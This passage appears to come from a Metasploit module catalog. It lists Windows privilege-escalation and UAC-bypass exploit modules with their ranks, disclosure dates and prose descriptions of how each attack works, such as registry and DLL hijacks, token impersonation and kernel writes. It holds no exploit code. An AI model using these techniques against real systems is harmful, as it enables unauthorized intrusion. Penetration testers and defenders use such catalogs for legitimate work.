
  The vulnerability is due to the insecure usage of memcpy
  in the lmgrd service when handling network packets, which
  results in a stack buffer overflow.

  In order to improve reliability, this module will make lots of
  connections to lmgrd during each attempt to maximize its success.

End Exploit Number 2052

Begin Exploit Number 2053
       Name: SentinelLM UDP Buffer Overflow
     Module: exploit/windows/license/sentinel_lm7_udp
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-03-07

Payload information:
  Space: 800
  Avoid: 2 characters

Description:
  This module exploits a simple stack buffer overflow in the Sentinel
  License Manager. The SentinelLM service is installed with a
  wide selection of products and seems particular popular with
  academic products. If the wrong target value is selected,
  the service will crash and not restart.

End Exploit Number 2053

Begin Exploit Number 2054
       Name: AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox
Bypass
     Module: exploit/windows/local/adobe_sandbox_adobecollabsync
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-05-14

Payload information:
  Space: 12288
```

```
Description:
  This module exploits a vulnerability on Adobe Reader X Sandbox. The
  vulnerability is due to a sandbox rule allowing a Low Integrity
AcroRd32.exe
  process to write register values which can be used to trigger a
buffer overflow on
  the AdobeCollabSync component, allowing to achieve Medium Integrity
Level
  privileges from a Low Integrity AcroRd32.exe process. This module
has been tested
  successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.

End Exploit Number 2054

Begin Exploit Number 2055
       Name: Agnitum Outpost Internet Security Local Privilege
Escalation
     Module: exploit/windows/local/agnitum_outpost_acs
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-08-02

Payload information:
  Space: 2048

Description:
  This module exploits a directory traversal vulnerability on Agnitum
Outpost Internet
  Security 8.1. The vulnerability exists in the acs.exe component,
allowing the user to load
  arbitrary DLLs through the acsipc_server named pipe, and finally
execute arbitrary
  code with SYSTEM privileges. This module has been tested
successfully on Windows 7 SP1 with
  Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits
versions).

End Exploit Number 2055

Begin Exploit Number 2056
       Name: Microsoft Windows ALPC Task Scheduler Local Privilege
Elevation
     Module: exploit/windows/local/alpc_taskscheduler
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2018-08-27

Payload information:

Description:
  On vulnerable versions of Windows the alpc endpoint method
SchRpcSetSecurity implemented
  by the task scheduler service can be used to write arbitrary DACLs
to `.job` files located
  in `c:\windows\tasks` because the scheduler does not use
impersonation when checking this
  location. Since users can create files in the `c:\windows\tasks`
folder, a hardlink can be
  created to a file the user has read access to. After creating a
hardlink, the vulnerability
  can be triggered to set the DACL on the linked file.

  WARNING:
  The PrintConfig.dll (%windir%
\system32\driverstor\filerepository\prnms003*) on the target host
  will be overwritten when the exploit runs.

  This module has been tested against Windows 10 Pro x64.

End Exploit Number 2056

Begin Exploit Number 2057
       Name: Windows AlwaysInstallElevated MSI
     Module: exploit/windows/local/always_install_elevated
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-03-18

Payload information:

Description:
  This module checks the AlwaysInstallElevated registry keys which
dictates if
  .MSI files should be installed with elevated privileges (NT
AUTHORITY\SYSTEM).
  The generated .MSI file has an embedded executable which is
extracted and run
  by the installer. After execution the .MSI file intentionally fails
installation
  (by calling some invalid VBS) to prevent it being registered on the
system.
```

```
  By running this with the /quiet argument the error will not be seen
by the user.

End Exploit Number 2057

Begin Exploit Number 2058
       Name: Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and
CVE-2020-3433)
     Module: exploit/windows/local/anyconnect_lpe
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-08-05

Payload information:

Description:
  The installer component of Cisco AnyConnect Secure Mobility Client
for Windows
  prior to 4.8.02042 is vulnerable to path traversal and allows local
attackers
  to create/overwrite files in arbitrary locations with system level
privileges.

  The installer component of Cisco AnyConnect Secure Mobility Client
for Windows
  prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local
attackers
  to execute code on the affected machine with with system level
privileges.

  Both attacks consist in sending a specially crafted IPC request to
the TCP
  port 62522 on the loopback device, which is exposed by the Cisco
AnyConnect
  Secure Mobility Agent service. This service will then launch the
vulnerable
  installer component (`vpndownloader`), which copies itself to an
arbitrary
  location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433)
before being
  executed with system privileges. Since `vpndownloader` is also
vulnerable to DLL
  hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the
same
  location `vpndownloader` will be copied to get code execution with
system
  privileges.
  The CVE-2020-3153 exploit has been successfully tested against Cisco
AnyConnect
  Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056
on Windows 10
  version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434
exploit has been
  successfully tested against Cisco AnyConnect Secure Mobility Client
versions
  4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows
10 version
  1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).

End Exploit Number 2058

Begin Exploit Number 2059
       Name: AppLocker Execution Prevention Bypass
     Module: exploit/windows/local/applocker_bypass
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-03

Payload information:

Description:
  This module will generate a .NET service executable on the target
and utilize
  InstallUtil to run the payload bypassing the AppLocker protection.

  Currently only the InstallUtil method is provided, but future
methods can be
  added easily.

End Exploit Number 2059

Begin Exploit Number 2060
       Name: AppXSvc Hard Link Privilege Escalation
     Module: exploit/windows/local/appxsvc_hard_link_privesc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-04-09

Payload information:
```

```
Description:
  There exists a privilege escalation vulnerability for
  Windows 10 builds prior to build 17763. Due to the AppXSvc's
  improper handling of hard links, a user can gain full
  privileges over a SYSTEM-owned file. The user can then utilize
  the new file to execute code as SYSTEM.

  This module employs a technique using the Diagnostics Hub Standard
  Collector Service (DiagHub) which was discovered by James Forshaw to
  load and execute a DLL as SYSTEM.

End Exploit Number 2060

Begin Exploit Number 2061
       Name: Windows Escalate UAC Execute RunAs
     Module: exploit/windows/local/ask
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-03

Payload information:

Description:
  This module will attempt to elevate execution level using
  the ShellExecute undocumented RunAs flag to bypass low
  UAC settings.


End Exploit Number 2061

Begin Exploit Number 2062
       Name: SYSTEM token impersonation through NTLM bits
authentication on missing WinRM Service.
     Module: exploit/windows/local/bits_ntlm_token_impersonation
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2019-12-06

Payload information:
  Avoid: 1 characters

Description:
  This module exploit BITS behavior which tries to connect to the
  local Windows Remote Management server (WinRM) every times it
  starts. The module launches a fake WinRM server which listen on
  port 5985 and triggers BITS. When BITS starts, it tries to
  authenticate to the Rogue WinRM server, which allows to steal a
  SYSTEM token. This token is then used to launch a new process
  as SYSTEM user. In the case of this exploit, notepad.exe is launched
  as SYSTEM. Then, it write shellcode in its previous memory space
  and trigger its execution. As this exploit uses reflective dll
  injection, it does not write any file on the disk. See
  /documentation/modules/exploit/windows/local/
bits_ntlm_token_impersonation.md
  for complementary words of information.

  Vulnerable operating systems are Windows 10 and Windows servers
where WinRM is not running.
  Lab experiments has shown that Windows 7 does not exhibit the
vulnerable behavior.

  WARNING:

  - As this exploit runs a service on the target (Fake WinRM on port
  5985), a firewall popup may appear on target screen. Thus, this
exploit
  may not be completely silent.

  - This exploit has been successfully tested on :
  Windows 10 (10.0 Build 19041) 32 bits
  Windows 10 Pro, Version 1903 (10.0 Build 18362) 64 bits

  - This exploit failed because of no BITS authentication attempt on:
  Windows 7 (6.1 Build 7601, Service Pack 1) 32 bits

  - Windows servers are not vulnerable because a genuine WinRM
  service is already running, except if the user has disabled it
  (Or if this exploit succeed to terminate it).

  - SE_IMPERSONATE_NAME or SE_ASSIGNPRIMARYTOKEN_NAME privs are
  required.

  - BITS must not be running.

  - This exploit automatically perform above quoted checks.
  run "check" command to run checklist.

End Exploit Number 2062

Begin Exploit Number 2063
       Name: MS14-062 Microsoft Bluetooth Personal Area Networking
(BthPan.sys) Privilege Escalation
     Module: exploit/windows/local/bthpan
   Platform: Windows
```

```
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2014-07-18

Payload information:

Description:
  A vulnerability within Microsoft Bluetooth Personal Area Networking
module,
  BthPan.sys, can allow an attacker to inject memory controlled by the
attacker
  into an arbitrary location. This can be used by an attacker to
overwrite
  HalDispatchTable+0x4 and execute arbitrary code by subsequently
calling
  NtQueryIntervalProfile.

End Exploit Number 2063

Begin Exploit Number 2064
       Name: Windows Escalate UAC Protection Bypass
     Module: exploit/windows/local/bypassuac
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-31

Payload information:

Description:
  This module will bypass Windows UAC by utilizing the trusted
publisher
  certificate through process injection. It will spawn a second shell
that
  has the UAC flag turned off.

End Exploit Number 2064

Begin Exploit Number 2065
       Name: Windows Escalate UAC Protection Bypass (Via COM Handler
Hijack)
     Module: exploit/windows/local/bypassuac_comhijack
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 1900-01-01

Payload information:

Description:
  This module will bypass Windows UAC by creating COM handler registry
entries in the
  HKCU hive. When certain high integrity processes are loaded, these
registry entries
  are referenced resulting in the process loading user-controlled
DLLs. These DLLs
  contain the payloads that result in elevated sessions. Registry key
modifications
  are cleaned up after payload invocation.

  This module requires the architecture of the payload to match the
OS, but the
  current low-privilege Meterpreter session architecture can be
different. If
  specifying EXE::Custom your DLL should call ExitProcess() after
starting your
  payload in a separate process.

  This module invokes the target binary via cmd.exe on the target.
Therefore if
  cmd.exe access is restricted, this module will not run correctly.

End Exploit Number 2065

Begin Exploit Number 2066
       Name: Windows Escalate UAC Protection Bypass (Via dot net
profiler)
     Module: exploit/windows/local/bypassuac_dotnet_profiler
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-03-17

Payload information:

Description:
  Microsoft Windows allows for the automatic loading of a profiling
COM object during
  the launch of a CLR process based on certain environment variables
ostensibly to
  monitor execution.  In this case, we abuse the profiler by pointing
to a payload DLL
```

```
  that will be launched as the profiling thread.  This thread will run
at the permission
  level of the calling process, so an auto-elevating process will
launch the DLL with
  elevated permissions.  In this case, we use gpedit.msc as the auto-
elevated CLR
  process, but others would work, too.

End Exploit Number 2066

Begin Exploit Number 2067
       Name: Windows Escalate UAC Protection Bypass (Via Eventvwr
Registry Key)
     Module: exploit/windows/local/bypassuac_eventvwr
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-08-15

Payload information:

Description:
  This module will bypass Windows UAC by hijacking a special key in
the Registry under
  the current user hive, and inserting a custom command that will get
invoked when
  the Windows Event Viewer is launched. It will spawn a second shell
that has the UAC
  flag turned off.

  This module modifies a registry key, but cleans up the key once the
payload has
  been invoked.

  The module does not require the architecture of the payload to match
the OS. If
  specifying EXE::Custom your DLL should call ExitProcess() after
starting your
  payload in a separate process.

End Exploit Number 2067

Begin Exploit Number 2068
       Name: Windows UAC Protection Bypass (Via FodHelper Registry
Key)
     Module: exploit/windows/local/bypassuac_fodhelper
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-12

Payload information:

Description:
  This module will bypass Windows 10 UAC by hijacking a special key in 
the Registry under
  the current user hive, and inserting a custom command that will get 
invoked when
  the Windows fodhelper.exe application is launched. It will spawn a 
second shell that has the UAC
  flag turned off.

  This module modifies a registry key, but cleans up the key once the 
payload has
  been invoked.

  The module does not require the architecture of the payload to match 
the OS. If
  specifying EXE::Custom your DLL should call ExitProcess() after 
starting your
  payload in a separate process.

End Exploit Number 2068

Begin Exploit Number 2069
       Name: Windows Escalate UAC Protection Bypass (In Memory 
Injection)
     Module: exploit/windows/local/bypassuac_injection
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-31

Payload information:

Description:
  This module will bypass Windows UAC by utilizing the trusted 
publisher
  certificate through process injection. It will spawn a second shell 
that
  has the UAC flag turned off. This module uses the Reflective DLL 
Injection
  technique to drop only the DLL payload binary instead of three 
separate
```

```
  binaries in the standard technique. However, it requires the correct
  architecture to be selected, (use x64 for SYSWOW64 systems also).
  If specifying EXE::Custom your DLL should call ExitProcess() after
starting
  your payload in a separate process.

End Exploit Number 2069

Begin Exploit Number 2070
       Name: Windows Escalate UAC Protection Bypass (In Memory
Injection) abusing WinSXS
     Module: exploit/windows/local/bypassuac_injection_winsxs
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-06

Payload information:

Description:
  This module will bypass Windows UAC by utilizing the trusted
publisher
  certificate through process injection. It will spawn a second shell
that
  has the UAC flag turned off by abusing the way "WinSxS" works in
Windows
  systems. This module uses the Reflective DLL Injection technique to
drop
  only the DLL payload binary instead of three seperate binaries in
the
  standard technique. However, it requires the correct architecture to
be
  selected, (use x64 for SYSWOW64 systems also).

End Exploit Number 2070

Begin Exploit Number 2071
       Name: Windows Escalate UAC Protection Bypass (Via Shell Open
Registry Key)
     Module: exploit/windows/local/bypassuac_sdclt
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-03-17

Payload information:
```

```
Description:
  This module will bypass Windows UAC by hijacking a special key in
the Registry under
  the current user hive, and inserting a custom command that will get
invoked when
  Window backup and restore is launched. It will spawn a second shell
that has the UAC
  flag turned off.

  This module modifies a registry key, but cleans up the key once the
payload has
  been invoked.

End Exploit Number 2071

Begin Exploit Number 2072
       Name: Windows Escalate UAC Protection Bypass (Via
SilentCleanup)
     Module: exploit/windows/local/bypassuac_silentcleanup
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-02-24

Payload information:

Description:
  There's a task in Windows Task Scheduler called "SilentCleanup"
which, while it's executed as Users, automatically runs with elevated
privileges.
  When it runs, it executes the file %windir%\system32\cleanmgr.exe.
Since it runs as Users, and we can control user's environment
variables,
  %windir% (normally pointing to C:\Windows) can be changed to point
to whatever we want, and it'll run as admin.

End Exploit Number 2072

Begin Exploit Number 2073
       Name: Windows UAC Protection Bypass (Via Slui File Handler
Hijack)
     Module: exploit/windows/local/bypassuac_sluihijack
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-01-15

Payload information:

Description:
  This module will bypass UAC on Windows 8-10 by hijacking a special
key in the Registry under
  the Current User hive, and inserting a custom command that will get
invoked when any binary
  (.exe) application is launched. But slui.exe is an auto-elevated
binary that is vulnerable
  to file handler hijacking. When we run slui.exe with changed
Registry key
  (HKCU:\Software\Classes\exefile\shell\open\command), it will run our
custom command as Admin
  instead of slui.exe.

  The module modifies the registry in order for this exploit to work.
The modification is
  reverted once the exploitation attempt has finished.

  The module does not require the architecture of the payload to match
the OS. If
  specifying EXE::Custom your DLL should call ExitProcess() after
starting the
  payload in a different process.

End Exploit Number 2073

Begin Exploit Number 2074
       Name: Windows Escalate UAC Protection Bypass (ScriptHost
Vulnerability)
     Module: exploit/windows/local/bypassuac_vbs
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-22

Payload information:

Description:
  This module will bypass Windows UAC by utilizing the
missing .manifest on the script host
  cscript/wscript.exe binaries.

End Exploit Number 2074

Begin Exploit Number 2075
```

```
       Name: Windows 10 UAC Protection Bypass Via Windows Store
(WSReset.exe)
     Module: exploit/windows/local/bypassuac_windows_store_filesys
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-08-22

Payload information:

Description:
  This module exploits a flaw in the WSReset.exe Windows Store Reset
Tool. The tool
  is run with the "autoElevate" property set to true, however it can
be moved to
  a new Windows directory containing a space (C:\Windows \System32\)
where, upon
  execution, it will load our payload dll (propsys.dll).

End Exploit Number 2075

Begin Exploit Number 2076
       Name: Windows 10 UAC Protection Bypass Via Windows Store
(WSReset.exe) and Registry
     Module: exploit/windows/local/bypassuac_windows_store_reg
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-02-19

Payload information:

Description:
  This module exploits a flaw in the WSReset.exe file associated with
the Windows
  Store.  This binary has autoelevate privs, and it will run a binary
file
  contained in a low-privilege registry location.  By placing a link
to
  the binary in the registry location, WSReset.exe will launch the
binary as
  a privileged user.

End Exploit Number 2076

Begin Exploit Number 2077
```

```
       Name: Canon Driver Privilege Escalation
     Module: exploit/windows/local/canon_driver_privesc
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-08-07

Payload information:

Description:
  Canon TR150 print drivers versions 3.71.2.10 and below allow local 
users to read/write files
  within the "CanonBJ" directory and its subdirectories. By 
overwriting the DLL at
  C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 
series\LanguageModules\040C\CNMurGE.dll
  with a malicious DLL at the right time whilst running the C:
\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs
  script to install a new printer, a timing issue can be exploited to 
cause the PrintIsolationHost.exe program,
  which runs as NT AUTHORITY\SYSTEM, to successfully load the 
malicious DLL. Successful exploitation
  will grant attackers code execution as the NT AUTHORITY\SYSTEM user.

  This module leverages the prnmngr.vbs script
  to add and delete printers. Multiple runs of this
  module may be required given successful exploitation
  is time-sensitive.

End Exploit Number 2077

Begin Exploit Number 2078
       Name: Windows Capcom.sys Kernel Execution Exploit (x64 only)
     Module: exploit/windows/local/capcom_sys_exec
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 1999-01-01

Payload information:
  Space: 4096

Description:
  This module abuses the Capcom.sys kernel driver's function that 
allows for an
  arbitrary function to be executed in the kernel from user land. This
```

```
function
  purposely disables SMEP prior to invoking a function given by the
caller.
  This has been tested on Windows 7, 8.1, 10 (x64) and Windows 11
(x64) upto build 22000.194.
  Note that builds after 22000.194 contain deny lists that prevent
this driver from loading.

End Exploit Number 2078

Begin Exploit Number 2079
       Name: Microsoft UPnP Local Privilege Elevation Vulnerability
     Module: exploit/windows/local/comahawk
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-12

Payload information:

Description:
  This exploit uses two vulnerabilities to execute a command as an
elevated user.
  The first (CVE-2019-1405) uses the UPnP Device Host Service to
elevate to
  NT AUTHORITY\LOCAL SERVICE
  The second (CVE-2019-1322) leverages the Update Orchestrator Service
to
  elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.

End Exploit Number 2079

Begin Exploit Number 2080
       Name: PsExec via Current User Token
     Module: exploit/windows/local/current_user_psexec
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-01-01

Payload information:

Description:
  This module uploads an executable file to the victim system, creates
  a share containing that executable, creates a remote service on each
  target system using a UNC path to that file, and finally starts the
  service(s).

  The result is similar to psexec but with the added benefit of using
  the session's current authentication token instead of having to know
  a password or hash.

End Exploit Number 2080

Begin Exploit Number 2081
       Name: LNK Code Execution Vulnerability
     Module: exploit/windows/local/cve_2017_8464_lnk_lpe
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-06-13

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK)
  that contain a dynamic icon, loaded from a malicious DLL.

  This vulnerability is a variant of MS15-020 (CVE-2015-0096). The
created LNK file is
  similar except an additional SpecialFolderDataBlock is included. The
folder ID set
  in this SpecialFolderDataBlock is set to the Control Panel. This is
enough to bypass
  the CPL whitelist. This bypass can be used to trick Windows into
loading an arbitrary
  DLL file.

  The PATH option must be an absolute path to a writeable directory
which is indexed for
  searching. If no PATH is specified, the module defaults to
%USERPROFILE%.

End Exploit Number 2081

Begin Exploit Number 2082
       Name: Windows NtUserSetWindowFNID Win32k User Callback
     Module: exploit/windows/local/cve_2018_8453_win32k_priv_esc
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Manual
  Disclosed: 2018-10-09

Payload information:

Description:
  An elevation of privilege vulnerability exists in Windows when the 
Win32k component
  fails to properly handle objects in memory, aka "Win32k Elevation of 
Privilege Vulnerability."
  This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, 
Windows Server 2008, Windows
  Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, 
Windows Server 2008 R2,
  Windows 10, Windows 10 Servers.
  This module is tested against Windows 10 v1703 x86.

End Exploit Number 2082

Begin Exploit Number 2083
       Name: Microsoft Windows Uninitialized Variable Local Privilege 
Elevation
     Module: exploit/windows/local/cve_2019_1458_wizardopium
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-12-10

Payload information:

Description:
  This module exploits CVE-2019-1458, an arbitrary pointer dereference 
vulnerability
  within win32k which occurs due to an uninitalized variable, which 
allows user mode attackers
  to write a limited amount of controlled data to an attacker 
controlled address
  in kernel memory. By utilizing this vulnerability to execute 
controlled writes
  to kernel memory, an attacker can gain arbitrary code execution
  as the SYSTEM user.

  This module has been tested against Windows 7 x64 SP1. Offsets 
within the
  exploit code may need to be adjusted to work with other versions of 
Windows.
  The exploit can only be triggered once against the target and can 
cause the
```

```
  target machine to reboot when the session is terminated.

End Exploit Number 2083

Begin Exploit Number 2084
       Name: Service Tracing Privilege Elevation Vulnerability
     Module: exploit/windows/local/cve_2020_0668_service_tracing
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-11

Payload information:

Description:
  This module leverages a trusted file overwrite with a DLL hijacking
  vulnerability to gain SYSTEM-level access on vulnerable Windows 10
x64
  targets.

End Exploit Number 2084

Begin Exploit Number 2085
       Name: Background Intelligent Transfer Service Arbitrary File
Move Privilege Elevation Vulnerability
     Module: exploit/windows/local/
cve_2020_0787_bits_arbitrary_file_move
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-10

Payload information:

Description:
  This module exploits CVE-2020-0787, an arbitrary file move
vulnerability in outdated versions of the
  Background Intelligent Transfer Service (BITS), to overwrite C:
\Windows\System32\WindowsCoreDeviceInfo.dll
  with a malicious DLL containing the attacker's payload.

  To achieve code execution as the SYSTEM user, the Update Session
Orchestrator service is then started, which
  will result in the malicious WindowsCoreDeviceInfo.dll being run
with SYSTEM privileges due to a DLL hijacking
  issue within the Update Session Orchestrator Service.
  Note that presently this module only works on Windows 10 and Windows
Server 2016 and later as the
  Update Session Orchestrator Service was only introduced in Windows
10. Note that only Windows 10 has been tested,
  so your mileage may vary on Windows Server 2016 and later.

End Exploit Number 2085

Begin Exploit Number 2086
       Name: SMBv3 Compression Buffer Overflow
     Module: exploit/windows/local/cve_2020_0796_smbghost
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2020-03-13

Payload information:

Description:
  A vulnerability exists within the Microsoft Server Message Block
3.1.1 (SMBv3) protocol that can be leveraged to
  execute code on a vulnerable server. This local exploit
implementation leverages this flaw to elevate itself
  before injecting a payload into winlogon.exe.

End Exploit Number 2086

Begin Exploit Number 2087
       Name: Microsoft Spooler Local Privilege Elevation Vulnerability
     Module: exploit/windows/local/cve_2020_1048_printerdemon
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-11-04

Payload information:

Description:
  This exploit leverages a file write vulnerability in the print
spooler service
  which will restart if stopped.  Because the service cannot be
stopped long
  enough to remove the dll, there is no way to remove the dll once
  it is loaded by the service.  Essentially, on default settings, this
module
```

```
  adds a permanent elevated backdoor.

End Exploit Number 2087

Begin Exploit Number 2088
       Name: Microsoft Windows DrawIconEx OOB Write Local Privilege 
Elevation
     Module: exploit/windows/local/cve_2020_1054_drawiconex_lpe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-02-20

Payload information:
  Space: 4096

Description:
  This module exploits CVE-2020-1054, an out of bounds write reachable 
from DrawIconEx
  within win32k. The out of bounds write can be used to overwrite the 
pvbits of a
  SURFOBJ. By utilizing this vulnerability to execute controlled 
writes to kernel
  memory, an attacker can gain arbitrary code execution as the SYSTEM 
user.

  This module has been tested against a fully updated Windows 7 x64 
SP1. Offsets
  within the exploit code may need to be adjusted to work with other 
versions of
  Windows.

End Exploit Number 2088

Begin Exploit Number 2089
       Name: Windows Update Orchestrator unchecked ScheduleWork call
     Module: exploit/windows/local/cve_2020_1313_system_orchestrator
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-04

Payload information:

Description:
  This exploit uses access to the UniversalOrchestrator ScheduleWork
```

```
API call
  which does not verify the caller's token before scheduling a job to
be run
  as SYSTEM.  You cannot schedule something in a given time, so the
payload will
  execute as system sometime in the next 24 hours.

End Exploit Number 2089

Begin Exploit Number 2090
       Name: Microsoft Spooler Local Privilege Elevation Vulnerability
     Module: exploit/windows/local/cve_2020_1337_printerdemon
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-04

Payload information:

Description:
  This exploit leverages a file write vulnerability in the print
spooler service
  which will restart if stopped.  Because the service cannot be
stopped long
  enough to remove the dll, there is no way to remove the dll once
  it is loaded by the service.  Essentially, on default settings, this
module
  adds a permanent elevated backdoor.

End Exploit Number 2090

Begin Exploit Number 2091
       Name: CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP
     Module: exploit/windows/local/cve_2020_17136
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-03-10

Payload information:

Description:
  The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later,
prior to the December
  2020 updates, did not set the IO_FORCE_ACCESS_CHECK or
OBJ_FORCE_ACCESS_CHECK flags when
```

```
  calling FltCreateFileEx() and FltCreateFileEx2() within its
HsmpOpCreatePlaceholders()
  function with attacker controlled input. This meant that files were
created with
  KernelMode permissions, thereby bypassing any security checks that
would otherwise
  prevent a normal user from being able to create files in directories
  they don't have permissions to create files in.

  This module abuses this vulnerability to perform a DLL hijacking
attack against the
  Microsoft Storage Spaces SMP service, which grants the attacker code
execution as the
  NETWORK SERVICE user. Users are strongly encouraged to set the
PAYLOAD option to one
  of the Meterpreter payloads, as doing so will allow them to
subsequently escalate their
  new session from NETWORK SERVICE to SYSTEM by using Meterpreter's
"getsystem" command
  to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM
user.

End Exploit Number 2091

Begin Exploit Number 2092
       Name: Dell DBUtil_2_3.sys IOCTL memmove
     Module: exploit/windows/local/cve_2021_21551_dbutil_memmove
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2021-05-04

Payload information:

Description:
  The DBUtil_2_3.sys driver distributed by Dell exposes an unprotected
IOCTL interface that can be abused by
  an attacker read and write kernel-mode memory.

End Exploit Number 2092

Begin Exploit Number 2093
       Name: Win32k NtGdiResetDC Use After Free Local Privilege
Elevation
     Module: exploit/windows/local/cve_2021_40449
   Platform: Windows
       Arch: x64
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2021-10-12

Payload information:

Description:
  A use after free vulnerability exists in the `NtGdiResetDC()`
function of Win32k which can be leveraged by
  an attacker to escalate privileges to those of `NT
AUTHORITY\SYSTEM`. The flaw exists due to the fact
  that this function calls `hdcOpenDCW()`, which performs a user mode
callback. During this callback, attackers
  can call the `NtGdiResetDC()` function again with the same handle as
before, which will result in the PDC object
  that is referenced by this handle being freed. The attacker can then
replace the memory referenced by the handle
  with their own object, before passing execution back to the original
`NtGdiResetDC()` call, which will now use the
  attacker's object without appropriate validation. This can then
allow the attacker to manipulate the state of the
  kernel and, together with additional exploitation techniques, gain
code execution as NT AUTHORITY\SYSTEM.

  This module has been tested to work on Windows 10 x64 RS1 (build
14393) and RS5 (build 17763), however previous versions
  of Windows 10 will likely also work.

End Exploit Number 2093

Begin Exploit Number 2094
       Name: Win32k ConsoleControl Offset Confusion
     Module: exploit/windows/local/cve_2022_21882_win32k
   Platform: Windows
       Arch: x64
 Privileged: No
